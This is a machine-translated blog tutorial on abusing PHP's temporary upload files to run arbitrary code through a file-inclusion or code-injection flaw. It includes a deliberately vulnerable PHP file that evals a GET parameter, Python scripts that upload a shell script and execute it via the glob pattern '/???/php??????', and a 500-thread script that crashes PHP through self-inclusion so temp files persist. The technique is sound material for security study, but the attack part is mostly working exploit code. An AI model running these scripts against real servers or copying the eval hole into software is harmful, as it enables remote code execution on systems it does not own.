当前位置:网站首页>Using PHP post temporary file mechanism to upload arbitrary files
Using PHP post temporary file mechanism to upload arbitrary files
2022-04-23 05:14:00 【zzzzls~】
List of articles
principle
towards PHP send out Post Data packets , If the package contains files , No matter what php Is there any logic in the code to handle file upload ,php Will save this file as a temporary file
- The file is stored in by default
/tmpDirectory 『 It can be done byphp.iniOfupload_tmp_dirSpecify the storage location 』 - The file named
php[6 Random characters ], example :phpG4ef0q - If this request ends normally , Temporary files will be automatically deleted
- If it ends abnormally , For example, collapse , Temporary files may be permanently retained

stay The file contains a vulnerability When no available files are found , You can use this method , Find temporary file name , Then include !
How to get temporary file name
$_FILES
Can pass $_FILES Get file information
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
phpinfo
phpinfo The page will print out all variables in the current request context , If we go straight to phpinfo The page contains the file post request , Then you can find in the return package $_FILES Contents of variables , To get the temporary file name

glob
If none of the above methods can be implemented , stay Linux in , You can also use glob wildcard Location file

glob Easy to use :
*: Instead of 0 Or Arbitrary characters?: Instead of 1 Characters[...]: Match one of the characters , example[a,b,c]Matching charactera / b / c{a, b}: matching a perhaps b
How to use this file
Combination request
Although the file is automatically deleted after the request is completed , But we can execute shell and Upload files Combined in one request ,php The code is as follows :
The php Can be executed directly shell, But this example only shows how to use temporary files
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>
Python Script utilization
# run.sh The contents of the document :
# echo $PATH
import requests
# Upload files at the same time , perform shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={
'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Extend the lifetime of temporary files
In some cases , We can't put Upload files and perform shell Put together , Use the following methods to make the file exist more time , So that it can be used in other places !
Can pass File contains Give Way php Contain itself, resulting in an endless cycle , And then php The daemon will crash due to memory overflow , however php It won't quit directly because of mistakes , It empties its memory stack , To recover from errors , That's the guarantee web The normal operation of the service .
At the same time, the process Will also interrupt php Handling of temporary files , Although it will eventually be deleted , However, it is obvious that temporary files exist in the disk for a longer time than before !

Based on this , We can write concurrent scripts , Constantly launch post File request
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={
'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
You can see , When we ask , There are always temporary files on disk that have not been deleted . Until the request to stop , All files were deleted

At the same time , You can use the above... Elsewhere glob Path wildcard universal load temporary file
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Reference resources
-
No alphanumeric webshell It's an improvement
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
-
PHP Thoughts on the mechanism and utilization of temporary documents
-
PHP The file contains a vulnerability ( utilize phpinfo) Reappear
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
-
glob(7) — Linux manual page
-
Operating files and directories
版权声明
本文为[zzzzls~]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204220547251954.html
边栏推荐
- Unity C e-learning (IV)
- Where, on when MySQL external connection is used
- QPushButton slot function is triggered multiple times
- 数据安全问题已成隐患,看vivo如何让“用户数据”重新披甲
- 2022/4/22
- Leetcode -- heuristic search
- MySQL realizes row to column SQL
- Docker installation and mysql5 7 installation
- 2021 年 25 大 DevOps 工具(下)
- Jupyter notebook crawling web pages
猜你喜欢

The 2021 more reading report was released, and the book consumption potential of post-95 and Post-00 rose

改进DevSecOps框架的 5 大关键技术

Backup MySQL database with Navicat

Cross border e-commerce | Facebook and instagram: which social media is more suitable for you?

何时适合进行自动化测试?(下)

One month countdown, pgconf What are the highlights of the latest outlook of asia2021 Asian Conference?

Traversal of tree

Where, on when MySQL external connection is used

直播带货表格模板-自动显示图片-自动关联系列商品

Uglifyjs compress JS
随机推荐
7-4 is it too fat (10 points) PTA
Differences between redis and MySQL
Servlet3 0 + event driven for high performance long polling
Minimum spanning tree -- unblocked project hdu1863
How can continuous integration (CI) / continuous delivery (CD) revolutionize automated testing
Deep learning notes - data expansion
使用zerotier让异地设备组局域网
PHP counts the number of files in the specified folder
On distributed lock
configmap
Interview summary
Basic concepts of multithreading (concurrency and parallelism, threads and processes) and entry cases
机器学习---线性回归
MySQL external connection, internal connection, self connection, natural connection, cross connection
Basic theory of Flink
Deep learning notes - semantic segmentation and data sets
什么是指令周期,机器周期,和时钟周期?
Detailed explanation of concurrent topics
Grpc long connection keepalive
Deep learning notes - fine tuning